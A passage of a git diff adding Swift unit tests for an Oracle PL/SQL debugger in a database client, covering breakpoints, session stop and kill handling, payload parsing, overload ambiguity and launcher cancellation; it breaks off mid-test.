+        let (session, _, supervisor) = makeSession(ended: ended) { sql in
+            if sql.contains("SYNCHRONIZE") { return Self.event(line: 1, frames: [Self.anonymousFrame]) }
+            if sql.contains("GET_LINE_MAP") { return ["not a payload"] }
+            return []
+        }
+        try await session.start(breakpoints: [])
+        await #expect(throws: OracleDebugError.unreadableAnswer) { _ = try await session.firstStop() }
+
+        #expect(await session.stop() == .ended)
+        let sent = supervisor.sent
+        #expect(sent.contains { Self.isContinue($0, flags: Statements.BreakFlags.abortExecution) })
+        #expect(!sent.contains { $0.contains("ALTER SYSTEM KILL") })
+    }
+
+    // The target's own connection failed as the abort reached it, so its call ended on this side only and the server
+    // session may still hold its locks: Stop kills it through the supervisor and cannot confirm the end. An ORA- error
+    // is the server's answer, which does confirm it.
+    @Test(arguments: [
+        (OracleCoreError.connectionClosed, false),
+        (OracleCoreError.queryFailed("ORA-06543: PL/SQL: execution aborted"), true)
+    ])
+    func testStopConfirmsTheEndOnlyFromTheServersAnswer(endedWith: OracleCoreError, serverAnswered: Bool) async throws {
+        let ended = Latch()
+        defer { ended.open() }
+        let (session, _, supervisor) = makeSession(ended: ended, endedWith: endedWith) { sql in
+            if sql.contains("GET_LINE_MAP") { return Self.lineMap }
+            if sql.contains("SYNCHRONIZE") { return Self.event(line: 1, frames: [Self.anonymousFrame]) }
+            if sql.contains("SET_BREAKPOINT(l_program, 3,") { return Self.payload(["0", "1"]) }
+            if Self.isContinue(sql, flags: Statements.BreakFlags.breakpointsOnly) {
+                return Self.event(line: 3, breakpoint: 1, frames: [Self.anonymousFrame, Self.runCalcFrame])
+            }
+            return []
+        }
+        try await session.start(breakpoints: [])
+        #expect(try await session.firstStop() == .paused(OracleDebugLocation(unit: Self.runCalc, line: 3)))
+
+        let outcome = await session.stop()
+        #expect(outcome == (serverAnswered ? .ended : .unconfirmed(Self.identity)))
+        #expect(supervisor.sent.contains(where: { $0.hasPrefix("ALTER SYSTEM KILL SESSION '42,7'") }) == !serverAnswered)
+    }
+
+    // The supervisor saw the routine end, but its call has not returned. A ROLLBACK would queue behind that call on
+    // the target with no bound, so the run ends unconfirmed instead.
+    @Test func testARunWhoseCallStillRunsEndsUnconfirmedWithoutQueueingARollback() async throws {
+        let ended = Latch()
+        defer { ended.open() }
+        let (session, target, _) = makeSession(ended: ended, callEndWait: .milliseconds(200)) { sql in
+            sql.contains("SYNCHRONIZE") ? Self.event(terminated: true) : []
+        }
+        try await session.start(breakpoints: [])
+
+        let stop = await finished(within: 5) { try await session.firstStop() }
+        #expect(stop == .failed(.stillRunning(Self.identity)))
+        #expect(!target.sent.contains("ROLLBACK"))
+    }
+
+    // A delete the server refuses leaves the breakpoint set, so removing it again deletes it again.
+    @Test func testARefusedDeleteCanBeRetried() async throws {
+        let ended = Latch()
+        defer { ended.open() }
+        let refusals = OSAllocatedUnfairLock(initialState: 1)
+        let (session, _, supervisor) = makeSession(ended: ended) { sql in
+            if sql.contains("GET_LINE_MAP") { return Self.lineMap }
+            if sql.contains("SYNCHRONIZE") { return Self.event(line: 1, frames: [Self.anonymousFrame]) }
+            if sql.contains("SET_BREAKPOINT(l_program, 3,") { return Self.payload(["0", "1"]) }
+            if sql.contains("SET_BREAKPOINT(l_program, 5,") { return Self.payload(["0", "2"]) }
+            if Self.isContinue(sql, flags: Statements.BreakFlags.breakpointsOnly) {
+                return Self.event(line: 3, breakpoint: 1, frames: [Self.anonymousFrame, Self.runCalcFrame])
+            }
+            if sql.contains("DELETE_BREAKPOINT(2)"), refusals.withLock({ left in defer { left -= 1 }; return left > 0 }) {
+                throw RefusedDelete()
+            }
+            return []
+        }
+        try await session.start(breakpoints: [(unit: Self.runCalc, line: 5)])
+        #expect(try await session.firstStop() == .paused(OracleDebugLocation(unit: Self.runCalc, line: 3)))
+
+        await #expect(throws: (any Error).self) { try await session.removeBreakpoint(in: Self.runCalc, line: 5) }
+        try await session.removeBreakpoint(in: Self.runCalc, line: 5)
+        #expect(supervisor.sent.filter { $0.contains("DELETE_BREAKPOINT(2)") }.count == 2)
+        #expect(await session.stop() == .ended)
+    }
+
+    // A call that failed on its own dropped connection is not a routine that raised an error and rolled back.
+    @Test func testACallWhoseConnectionDroppedIsReportedAsALostConnection() async {
+        let entryPoint = OracleDebugEntryPoint(
+            entry: OracleDebugEntry(unit: Self.runCalc, subprogram: "RUN_CALC", subprogramID: 1),
+            overload: nil,
+            parameters: [],
+            result: nil
+        )
+        func conclude(_ error: Error) async -> OracleDebugStop {
+            await OracleDebugSupport.conclude(
+                .failure(error),
+                stopped: false,
+                entryPoint: entryPoint,
+                target: ScriptedChannel(),
+                targetIdentity: Self.identity,
+                notice: { _ in }
+            )
+        }
+
+        guard case .failed(.connectionLost) = await conclude(OracleCoreError.connectionClosed) else {
+            Issue.record("a dropped connection read as the routine's own failure")
+            return
+        }
+        guard case .failed(.routineFailed) = await conclude(OracleCoreError.queryFailed("ORA-01476: divisor is equal to zero")) else {
+            Issue.record("the server's error did not read as the routine's failure")
+            return
+        }
+    }
+
+    // A breakpoint sent at start on line 4 lands on line 5; the host never learns that and removes it by line 4.
+    @Test func testAStartBreakpointIsRemovedByTheLineItWasAskedFor() async throws {
+        let ended = Latch()
+        defer { ended.open() }
+        let (session, _, supervisor) = makeSession(ended: ended) { sql in
+            if sql.contains("GET_LINE_MAP") { return Self.lineMap }
+            if sql.contains("SYNCHRONIZE") { return Self.event(line: 1, frames: [Self.anonymousFrame]) }
+            if sql.contains("SET_BREAKPOINT(l_program, 3,") { return Self.payload(["0", "1"]) }
+            if sql.contains("SET_BREAKPOINT(l_program, 5,") { return Self.payload(["0", "2"]) }
+            if Self.isContinue(sql, flags: Statements.BreakFlags.breakpointsOnly) {
+                return Self.event(line: 3, breakpoint: 1, frames: [Self.anonymousFrame, Self.runCalcFrame])
+            }
+            return []
+        }
+        try await session.start(breakpoints: [(unit: Self.runCalc, line: 4)])
+        #expect(try await session.firstStop() == .paused(OracleDebugLocation(unit: Self.runCalc, line: 3)))
+
+        try await session.removeBreakpoint(in: Self.runCalc, line: 4)
+        #expect(supervisor.sent.contains { $0.contains("DELETE_BREAKPOINT(2)") })
+        #expect(await session.stop() == .ended)
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugStatementsTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugStatementsTests.swift
new file mode 100644
index 0000000000..4d95febef9
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugStatementsTests.swift
@@ -0,0 +1,134 @@
+import Foundation
+@testable import TableProOracleCore
+import Testing
+
+struct OracleDBMSDebugStatementsTests {
+    private typealias Statements = OracleDBMSDebugStatements
+
+    // continue at the breakpoint on ADD_TAX line 6, called from RUN line 14 (the lane's measured stop).
+    @Test func testAPauseReadsTheRuntimeRecordAndTheBacktrace() throws {
+        let fields: [String?] = [
+            "0", "3", "0", "6", "1",
+            "3",
+            nil, nil, "0", "0", "1", nil,
+            "PROBE", "PKG_CALC", "2", "11", "14", "RUN",
+            "PROBE", "PKG_CALC", "2", "11", "6", "ADD_TAX"
+        ]
+        let event = try Statements.event(fromPayload: fields)
+        #expect(event.isPause)
+        #expect(!event.timedOut)
+        #expect(event.reason == Statements.Reason.breakpoint)
+        #expect(event.line == 6)
+        #expect(event.breakpoint == 1)
+        #expect(event.backtrace.count == 3)
+        #expect(event.backtrace[0].unit == nil)
+        #expect(event.backtrace[2].unit == OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody))
+        #expect(event.backtrace[1].entryPoint == "RUN")
+    }
+
+    @Test func testTerminationAndTimeoutCarryNoBacktrace() throws {
+        let ended = try Statements.event(fromPayload: ["0", "25", "1", nil, nil, "0"])
+        #expect(ended.terminated)
+        #expect(!ended.isPause)
+        let waiting = try Statements.event(fromPayload: ["31", "2", "0", nil, nil, "0"])
+        #expect(waiting.timedOut)
+        #expect(!waiting.isPause)
+    }
+
+    @Test func testResumeUsesTheMeasuredBreakFlags() {
+        #expect(Statements.resume(flags: Statements.BreakFlags.anyReturn).contains("SYS.DBMS_DEBUG.CONTINUE(l_info, 512, 14)"))
+        #expect(Statements.resume(flags: Statements.BreakFlags.nextLine).contains("CONTINUE(l_info, 32, 14)"))
+        #expect(Statements.resume(flags: Statements.BreakFlags.anyCall).contains("CONTINUE(l_info, 12, 14)"))
+        #expect(Statements.resume(flags: Statements.BreakFlags.abortExecution).contains("CONTINUE(l_info, 8192, 14)"))
+        #expect(Statements.resume(flags: nil).contains("SYS.DBMS_DEBUG.SYNCHRONIZE(l_info, 14)"))
+        // Asking a terminated program for its backtrace raises inside SYS.PBREAK.
+        #expect(Statements.resume(flags: nil).contains("IF l_status = 0 AND NVL(l_info.Terminated, 0) = 0 THEN"))
+    }
+
+    // The target aborts itself when the supervisor goes quiet; without this a crashed app left it in `pipe get`.
+    @Test func testTheTargetAbortsOnTimeoutAndIsPinged() {
+        let setup = Statements.targetSetup(debugID: "TPX")
+        #expect(setup.binds == [.text("TPX")])
+        #expect(setup.block.contains("SET_TIMEOUT_BEHAVIOUR(3)"))
+        #expect(setup.block.contains("SET_TIMEOUT(30)"))
+        #expect(setup.block.contains("'CALL SYS.DBMS_DEBUG.DEBUG_ON()'"))
+        #expect(Statements.pingIntervalSeconds * 2 < Statements.targetTimeoutSeconds)
+        #expect(Statements.supervisorTimeoutSeconds < Statements.pingIntervalSeconds)
+    }
+
+    // GET_LINE_MAP for PROBE.PKG_CALC's body answered maxline 22 and EEFF3F.
+    @Test func testTheMeasuredLineMapDecodes() throws {
+        #expect(Statements.executableLines(hexMap: "EEFF3F", maxLine: 22)
+            == [1, 2, 3, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21])
+        #expect(try Statements.executableLines(fromPayload: ["0", "8", "FE"]) == [1, 2, 3, 4, 5, 6, 7])
+        #expect(try Statements.executableLines(fromPayload: ["16", nil, nil]) == nil)
+    }
+
+    @Test func testValueStatusesMapToValues() throws {
+        let answers = try Statements.valueAnswers(fromPayload: ["0", "1", "32", nil, "18", nil, "3", nil, "40", nil], count: 5)
+        #expect(answers.map { Statements.value(status: $0.status, text: $0.value) } == [
+            .scalar("1"), .scalar(nil), .collection(count: nil), nil, .scalar(nil)
+        ])
+    }
+
+    // Read before DEBUG_ON: the target's SID and SERIAL#, which Stop needs to end a routine running between breakpoints.
+    @Test func testTheTargetSessionIsIdentifiedForAKill() {
+        #expect(Statements.sessionIdentity(fromRow: ["213", "28648", "2"])
+            == OracleDebugSessionIdentity(sid: 213, serial: 28_648, instance: 2))
+        #expect(Statements.sessionIdentity(fromRow: ["213", nil, "1"]) == OracleDebugSessionIdentity(sid: 213, serial: nil, instance: 1))
+        #expect(Statements.sessionIdentity(fromRow: [nil, nil, "1"]) == nil)
+        #expect(Statements.killSession(OracleDebugSessionIdentity(sid: 213, serial: 28_648))
+            == "ALTER SYSTEM KILL SESSION '213,28648' IMMEDIATE")
+        #expect(Statements.killSession(OracleDebugSessionIdentity(sid: 213, serial: 28_648, instance: 2))
+            == "ALTER SYSTEM KILL SESSION '213,28648,@2' IMMEDIATE")
+        #expect(Statements.sessionIdentityQueries.allSatisfy { $0.contains("SYS_CONTEXT('USERENV', 'INSTANCE')") })
+        #expect(Statements.killSession(OracleDebugSessionIdentity(sid: 213, serial: nil)) == nil)
+        #expect(Statements.sessionIdentityQueries.first?.contains("DBMS_DEBUG_JDWP.CURRENT_SESSION_SERIAL") == true)
+    }
+
+    @Test func testBreakpointsAndValuesQuoteNames() {
+        let unit = OracleDebugUnit(owner: "PROBE", name: "O'NEIL", kind: .packageBody)
+        let set = Statements.setBreakpoint(unit: unit, line: 6)
+        #expect(set.contains("l_program.Namespace := 2;"))
+        #expect(set.contains("l_program.Name := 'O''NEIL';"))
+        #expect(set.contains("SET_BREAKPOINT(l_program, 6, l_number)"))
+        let values = Statements.values([
+            .init(name: "P_AMOUNT", frame: 0),
+            .init(name: "G_RATE", package: OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody))
+        ])
+        #expect(values.block.contains("GET_VALUE(:1, 0, l_value, NULL)"))
+        #expect(values.block.contains("GET_VALUE(:2, l_handle, l_value, NULL)"))
+        #expect(values.binds == [.text("P_AMOUNT"), .text("G_RATE")])
+        #expect(Statements.deleteBreakpoints([]).contains("NULL;"))
+    }
+
+    // A quoted declaration is asked for quoted, so GET_VALUE reads one identifier, and the name stays a bind.
+    @Test func testQuotedVariableNamesAreBoundQuoted() {
+        let scan = OraclePLSQLDeclarationScan(source: """
+            procedure p is
+              "a.b" number;
+              "lower" number;
+              "with space" number;
+              l_plain number;
+            begin
+              null;
+            end p;
+            """)
+        let requests = scan.candidates(atLine: 7).map { Statements.ValueRequest(name: $0.lookupName, frame: 0) }
+        let values = Statements.values(requests)
+        #expect(values.binds == [.text("\"a.b\""), .text("\"lower\""), .text("\"with space\""), .text("L_PLAIN")])
+        #expect(values.block.contains("GET_VALUE(:4, 0, l_value, NULL)"))
+        #expect(!values.block.contains("a.b") && !values.block.contains("lower") && !values.block.contains("L_PLAIN"))
+    }
+
+    // Every block that declares the payload helpers declares them last: PL/SQL wants items before subprograms.
+    @Test func testPayloadHelpersComeLastInEachDeclareSection() throws {
+        let unit = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody)
+        for block in [Statements.resume(flags: 0), Statements.setBreakpoint(unit: unit, line: 1),
+                      Statements.lineMap(of: unit), Statements.values([.init(name: "X", frame: 0)]).block] {
+            let helper = try #require(block.range(of: "PROCEDURE put"))
+            let lastDeclaration = try #require(block.range(of: "l_status BINARY_INTEGER;"))
+            #expect(lastDeclaration.lowerBound < helper.lowerBound)
+        }
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugLauncherTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugLauncherTests.swift
new file mode 100644
index 0000000000..c787e632a0
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugLauncherTests.swift
@@ -0,0 +1,74 @@
+import Foundation
+import os
+@testable import TableProOracleCore
+import Testing
+
+struct OracleDebugLauncherTests {
+    private let entryPoint = OracleDebugEntryPoint(
+        entry: OracleDebugEntry(unit: OracleDebugUnit(owner: "PROBE", name: "F_CALC", kind: .function), subprogram: "F_CALC", subprogramID: 1),
+        overload: nil,
+        parameters: [OracleDebugParameter(name: "P_A", position: 1, dataType: "NUMBER", mode: .input, hasDefault: false)],
+        result: OracleDebugParameter(name: "", position: 0, dataType: "NUMBER", mode: .output, hasDefault: false)
+    )
+
+    private func launch(_ preference: OracleDebugProtocolPreference) -> OracleDebugLaunch {
+        OracleDebugLaunch(
+            entryPoint: entryPoint,
+            arguments: ["P_A": .text("1")],
+            breakpoints: [],
+            preference: preference,
+            debuggerHost: "127.0.0.1",
+            ports: 47_300...47_399,
+            databaseHost: "127.0.0.1",
+            databasePort: 1_521
+        )
+    }
+
+    // A start the host cancelled opens nothing, so no target is left waiting.
+    @Test func testACancelledStartOpensNoSession() async {
+        let opened = OSAllocatedUnfairLock(initialState: 0)
+        let task = Task {
+            withUnsafeCurrentTask { $0?.cancel() }
+            return try await OracleDebugLauncher.launch(launch(.dbmsDebug)) {
+                opened.withLock { $0 += 1 }
+                return OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x"))
+            }
+        }
+        await #expect(throws: CancellationError.self) { _ = try await task.value }
+        #expect(opened.withLock { $0 } == 0)
+    }
+
+    @Test func testExplicitJDWPWithoutAHostIsRefusedBeforeAnySessionOpens() async {
+        let opened = OSAllocatedUnfairLock(initialState: 0)
+        let empty = OracleDebugLaunch(
+            entryPoint: entryPoint,
+            arguments: ["P_A": .text("1")],
+            breakpoints: [],
+            preference: .jdwp,
+            debuggerHost: "",
+            ports: 47_300...47_399,
+            databaseHost: "127.0.0.1",
+            databasePort: 1_521
+        )
+        await #expect(throws: OracleDebugError.jdwp(.noDebuggerHost)) {
+            _ = try await OracleDebugLauncher.launch(empty) {
+                opened.withLock { $0 += 1 }
+                return OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x"))
+            }
+        }
+        #expect(opened.withLock { $0 } == 0)
+    }
+
+    // Cancelled while the database has not connected back: the wait ends at once rather than at the 15 s deadline.
+    @Test func testCancellingWhileWaitingForTheDatabaseEndsTheWait() async {
+        let task = Task {
+            try await OracleDebugLauncher.launch(launch(.jdwp)) {
+                OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x"))
+            }
+        }
+        let started = ContinuousClock.now
+        task.cancel()
+        await #expect(throws: (any Error).self) { _ = try await task.value }
+        #expect(ContinuousClock.now - started < .seconds(10))
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugOverloadAmbiguityTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugOverloadAmbiguityTests.swift
new file mode 100644
index 0000000000..2c0c89ac4d
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugOverloadAmbiguityTests.swift
@@ -0,0 +1,91 @@
+import Foundation
+import os
+@testable import TableProOracleCore
+import Testing
+
+struct OracleDebugOverloadAmbiguityTests {
+    private let package = OracleDebugUnit(owner: "PROBE", name: "PKG_OVER", kind: .packageBody)
+
+    private func overload(
+        _ id: Int,
+        _ parameters: [OracleDebugParameter],
+        returns result: String? = nil,
+        named subprogram: String = "P"
+    ) -> OracleDebugEntryPoint {
+        OracleDebugEntryPoint(
+            entry: OracleDebugEntry(unit: package, subprogram: subprogram, subprogramID: id),
+            overload: String(id),
+            parameters: parameters,
+            result: result.map { OracleDebugParameter(name: "", position: 0, dataType: $0, mode: .output, hasDefault: false) }
+        )
+    }
+
+    private func parameter(_ name: String, _ type: String, defaulted: Bool, mode: OracleDebugParameter.Mode = .input) -> OracleDebugParameter {
+        OracleDebugParameter(name: name, position: 1, dataType: type, mode: mode, hasDefault: defaulted)
+    }
+
+    // p(x NUMBER DEFAULT 1) and p(x VARCHAR2 DEFAULT 'a'): `p()` matches both (PLS-00307), so X needs a value.
+    @Test func testLeavingTheOnlyDistinguishingParameterAtItsDefaultNeedsAValue() {
+        let number = overload(1, [parameter("X", "NUMBER", defaulted: true)])
+        let text = overload(2, [parameter("X", "VARCHAR2", defaulted: true)])
+        let both = [number, text]
+        #expect(OracleDebugStatements.ambiguity(of: number, arguments: ["X": .defaultValue], overloads: both) == .needsValue(["X"]))
+        #expect(OracleDebugStatements.ambiguity(of: text, arguments: [:], overloads: both) == .needsValue(["X"]))
+        #expect(OracleDebugStatements.ambiguity(of: number, arguments: ["X": .text("5")], overloads: both) == nil)
+        #expect(OracleDebugStatements.ambiguity(of: number, arguments: ["X": .null], overloads: both) == nil)
+    }
+
+    // p(a NUMBER) and p(a NUMBER, b VARCHAR2 DEFAULT 'x'): with B left out the second is `p(a => 1)`, which the first
+    // matches too; the first can never be called unambiguously.
+    @Test func testAnOverloadWhoseCallTheOtherAlwaysMatchesIsUnresolvable() {
+        let short = overload(1, [parameter("A", "NUMBER", defaulted: false)])
+        let long = overload(2, [parameter("A", "NUMBER", defaulted: false), parameter("B", "VARCHAR2", defaulted: true)])
+        let both = [short, long]
+        #expect(OracleDebugStatements.ambiguity(of: long, arguments: ["A": .text("1")], overloads: both) == .needsValue(["B"]))
+        #expect(OracleDebugStatements.ambiguity(of: long, arguments: ["A": .text("1"), "B": .text("y")], overloads: both) == nil)
+        #expect(OracleDebugStatements.ambiguity(of: short, arguments: ["A": .text("1")], overloads: both) == .unresolvable)
+    }
+
+    @Test func testOverloadsTheCallCannotMatchAreNotAmbiguous() {
+        let number = overload(1, [parameter("X", "NUMBER", defaulted: true)])
+        let needsZ = overload(2, [parameter("X", "VARCHAR2", defaulted: true), parameter("Z", "DATE", defaulted: false)])
+        let function = overload(3, [parameter("X", "VARCHAR2", defaulted: true)], returns: "NUMBER")
+        let otherName = overload(4, [parameter("X", "VARCHAR2", defaulted: true)], named: "Q")
+        let renamed = overload(5, [parameter("Y", "VARCHAR2", defaulted: true), parameter("W", "NUMBER", defaulted: false)])
+        let all = [number, needsZ, function, otherName, renamed]
+        #expect(OracleDebugStatements.ambiguity(of: number, arguments: [:], overloads: all) == nil)
+        #expect(OracleDebugStatements.ambiguity(of: number, arguments: [:], overloads: [number]) == nil)
+        #expect(OracleDebugStatements.ambiguity(of: number, arguments: [:], overloads: []) == nil)
+    }
+
+    // An OUT parameter is always passed, so it tells overloads apart by its declaration like any passed one.
+    @Test func testAPassedOutParameterOfAnotherTypeDistinguishesTheCall() {
+        let numberOut = overload(1, [parameter("R", "NUMBER", defaulted: false, mode: .output), parameter("X", "NUMBER", defaulted: true)])
+        let textOut = overload(2, [parameter("R", "VARCHAR2", defaulted: false, mode: .output), parameter("X", "VARCHAR2", defaulted: true)])
+        #expect(OracleDebugStatements.ambiguity(of: numberOut, arguments: [:], overloads: [numberOut, textOut]) == nil)
+    }
+
+    @Test func testTheLauncherRefusesAnAmbiguousCallBeforeAnySessionOpens() async {
+        let number = overload(1, [parameter("X", "NUMBER", defaulted: true)])
+        let text = overload(2, [parameter("X", "VARCHAR2", defaulted: true)])
+        let opened = OSAllocatedUnfairLock(initialState: 0)
+        let launch = OracleDebugLaunch(
+            entryPoint: number,
+            arguments: ["X": .defaultValue],
+            breakpoints: [],
+            preference: .dbmsDebug,
+            debuggerHost: "127.0.0.1",
+            ports: 47_300...47_399,
+            databaseHost: "127.0.0.1",
+            databasePort: 1_521,
+            overloads: [number, text]
+        )
+        await #expect(throws: OracleDebugError.ambiguousDefaults(subprogram: "P", parameters: ["X"])) {
+            _ = try await OracleDebugLauncher.launch(launch) {
+                opened.withLock { $0 += 1 }
+                return OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "x"))
+            }
+        }
+        #expect(opened.withLock { $0 } == 0)
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugScriptedChannel.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugScriptedChannel.swift
new file mode 100644
index 0000000000..a659604ea5
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugScriptedChannel.swift
@@ -0,0 +1,70 @@
+import Foundation
+import os
+@testable import TableProOracleCore
+
+// A database session that answers each statement through `respond` and records it as asked. Statements take turns on
+// a gate as on `OracleCoreConnection`, so one that never returns holds up every later one.
+final class ScriptedChannel: OracleDebugChannel, @unchecked Sendable {
+    private let gate = QueryGate()
+    private let asked = OSAllocatedUnfairLock(initialState: [String]())
+    private let rows: [[OracleRawCell]]
+    private let respond: @Sendable (String) async throws -> [String?]
+
+    init(rows: [[OracleRawCell]] = [], respond: @escaping @Sendable (String) async throws -> [String?] = { _ in [] }) {
+        self.rows = rows
+        self.respond = respond
+    }
+
+    var sent: [String] { asked.withLock { $0 } }
+
+    func executeDirect(_ sql: String, binds: [OracleBindValue], autoCommit: Bool, readsRows: Bool) async throws -> [String?] {
+        asked.withLock { $0.append(sql) }
+        await gate.acquire()
+        do {
+            let answer = try await respond(sql)
+            await gate.release()
+            return answer
+        } catch {
+            await gate.release()
+            throw error
+        }
+    }
+
+    func executeQuery(_ query: String) async throws -> OracleRawResult {
+        asked.withLock { $0.append(query) }
+        return OracleRawResult(columns: [], rows: rows, affectedRows: 0, isTruncated: false)
+    }
+
+    func cancelCurrentQuery() {}
+}
+
+final class Latch: Sendable {
+    private let state = OSAllocatedUnfairLock(initialState: (isOpen: false, waiters: [CheckedContinuation<Void, Never>]()))
+
+    func wait() async {
+        await withCheckedContinuation { continuation in
+            let isOpen = state.withLock { current -> Bool in
+                if !current.isOpen { current.waiters.append(continuation) }
+                return current.isOpen
+            }
+            if isOpen { continuation.resume() }
+        }
+    }
+
+    func open() {
+        let waiters = state.withLock { current -> [CheckedContinuation<Void, Never>] in
+            current.isOpen = true
+            defer { current.waiters.removeAll() }
+            return current.waiters
+        }
+        for waiter in waiters {
+            waiter.resume()
+        }
+    }
+}
+
+// Nil when `body` has not returned within `seconds`, so a call that hangs fails its test instead of the whole run.
+func finished<T: Sendable>(within seconds: Double, _ body: @escaping @Sendable () async throws -> T) async -> T? {
+    let task = Task { try? await body() }
+    return await OracleDebugSupport.value(of: task, within: seconds) ?? nil
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugSessionReservationTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugSessionReservationTests.swift
new file mode 100644
index 0000000000..2ada5c365d
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugSessionReservationTests.swift
@@ -0,0 +1,43 @@
+import Foundation
+@testable import TableProOracleCore
+import Testing
+
+// A debug target is a statement paused at a breakpoint for as long as a person reads it. The health check's
+// staleness limit would close it after 300 seconds, and a query timeout sooner.
+struct OracleDebugSessionReservationTests {
+    private func connection() -> OracleCoreConnection {
+        OracleCoreConnection(options: OracleConnectionOptions(host: "127.0.0.1", user: "probe", password: "probe_pw"))
+    }
+
+    @Test func testAnOrdinarySessionKeepsTheStalenessLimit() {
+        let session = connection()
+        #expect(session.wedgedStatementLimit == .seconds(300))
+        session.applyQueryTimeout(600)
+        #expect(session.wedgedStatementLimit == .seconds(600))
+    }
+
+    @Test func testADebugSessionHasNoStalenessLimitAndIgnoresQueryTimeouts() {
+        let session = connection()
+        session.applyQueryTimeout(600)
+        session.reserveForDebugging()
+        #expect(session.isReservedForDebugging)
+        #expect(session.wedgedStatementLimit == nil)
+        session.applyQueryTimeout(30)
+        #expect(session.wedgedStatementLimit == nil)
+    }
+
+    @Test func testABusyDebugSessionIsAlwaysReportedAlive() {
+        #expect(OraclePingDecision.of(.busy(for: .seconds(86_400)), wedgedAfter: nil) == .reportAlive)
+        #expect(OraclePingDecision.of(.acquired, wedgedAfter: nil) == .probe)
+        #expect(OraclePingDecision.of(.busy(for: .seconds(301)), wedgedAfter: .seconds(300)) == .reportWedged)
+    }
+
+    // A reserved session never redials: a new session would not be the one being debugged.
+    @Test func testADebugSessionWithoutAChannelDoesNotRedial() async {
+        let session = connection()
+        session.reserveForDebugging()
+        await #expect(throws: OracleCoreError.notConnected) {
+            _ = try await session.executeDirect("ROLLBACK")
+        }
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStatementsTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStatementsTests.swift
new file mode 100644
index 0000000000..c776df8747
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDebugStatementsTests.swift
@@ -0,0 +1,297 @@
+import Foundation
+@testable import TableProOracleCore
+import Testing
+
+struct OracleDebugStatementsTests {
+    private let body = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody)
+
+    @Test func testPayloadRoundTripsNullsEmptyTextAndWideCharacters() throws {
+        let fields: [String?] = [nil, "", "12:34", "Tiếng Việt 🇻🇳", "~", "a\nb"]
+        let encoded = OracleDebugPayload.encode(fields)
+        #expect(try OracleDebugPayload.parse(encoded) == fields)
+        #expect(try OracleDebugPayload.parse(OracleDebugPayload.join(pieces: [String(encoded.prefix(7)), nil, String(encoded.dropFirst(7))]))
+            == fields)
+    }
+
+    @Test func testAMalformedPayloadThrows() {
+        #expect(throws: OracleDebugPayload.ParseError.self) { try OracleDebugPayload.parse("5:abc") }
+        #expect(throws: OracleDebugPayload.ParseError.self) { try OracleDebugPayload.parse("x") }
+    }
+
+    // Measured: level 2 with PLSQL_DEBUG FALSE answers SET_BREAKPOINT with success and never stops.
+    @Test func testReadinessFollowsTheMeasuredSettings() {
+        #expect(OracleDebugStatements.readiness(fromRow: ["2", "TRUE"]) == .ready)
+        #expect(OracleDebugStatements.readiness(fromRow: ["1", "FALSE"]) == .ready)
+        #expect(OracleDebugStatements.readiness(fromRow: ["0", "FALSE"]) == .ready)
+        #expect(OracleDebugStatements.readiness(fromRow: ["2", "FALSE"]) == .needsDebugCompile)
+        #expect(OracleDebugStatements.readiness(fromRow: nil) == .notVisible)
+    }
+
+    @Test func testReadinessAsksForTheBodyOfAPackage() {
+        let spec = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .package)
+        #expect(OracleDebugStatements.readiness(of: spec).contains("TYPE = 'PACKAGE BODY'"))
+        #expect(OracleDebugStatements.readiness(of: spec).contains("FROM SYS.ALL_PLSQL_OBJECT_SETTINGS"))
+    }
+
+    @Test func testMissingPrivilegesNameTheGrant() {
+        #expect(OracleDebugStatements.missingPrivilege(fromRow: ["PROBE", "0", "0", "0"], unit: body)
+            == .debugConnectSession(user: "PROBE"))
+        #expect(OracleDebugStatements.missingPrivilege(fromRow: ["PROBE", "1", "0", "0"], unit: body) == nil)
+        #expect(OracleDebugStatements.missingPrivilege(fromRow: ["NOACL", "1", "0", "0"], unit: body)
+            == .debugOnObject(user: "NOACL"))
+        #expect(OracleDebugStatements.missingPrivilege(fromRow: ["NOACL", "1", "0", "1"], unit: body) == nil)
+        #expect(OracleDebugStatements.missingPrivilege(fromRow: ["NOACL", "1", "1", "0"], unit: body) == nil)
+    }
+
+    @Test func testEntryPointsGroupOverloadsAndReadTheResult() {
+        let rows: [[String?]] = [
+            ["ADD_TAX", "1", "1", "0", nil, "NUMBER", "OUT", "N", nil, nil, nil, nil],
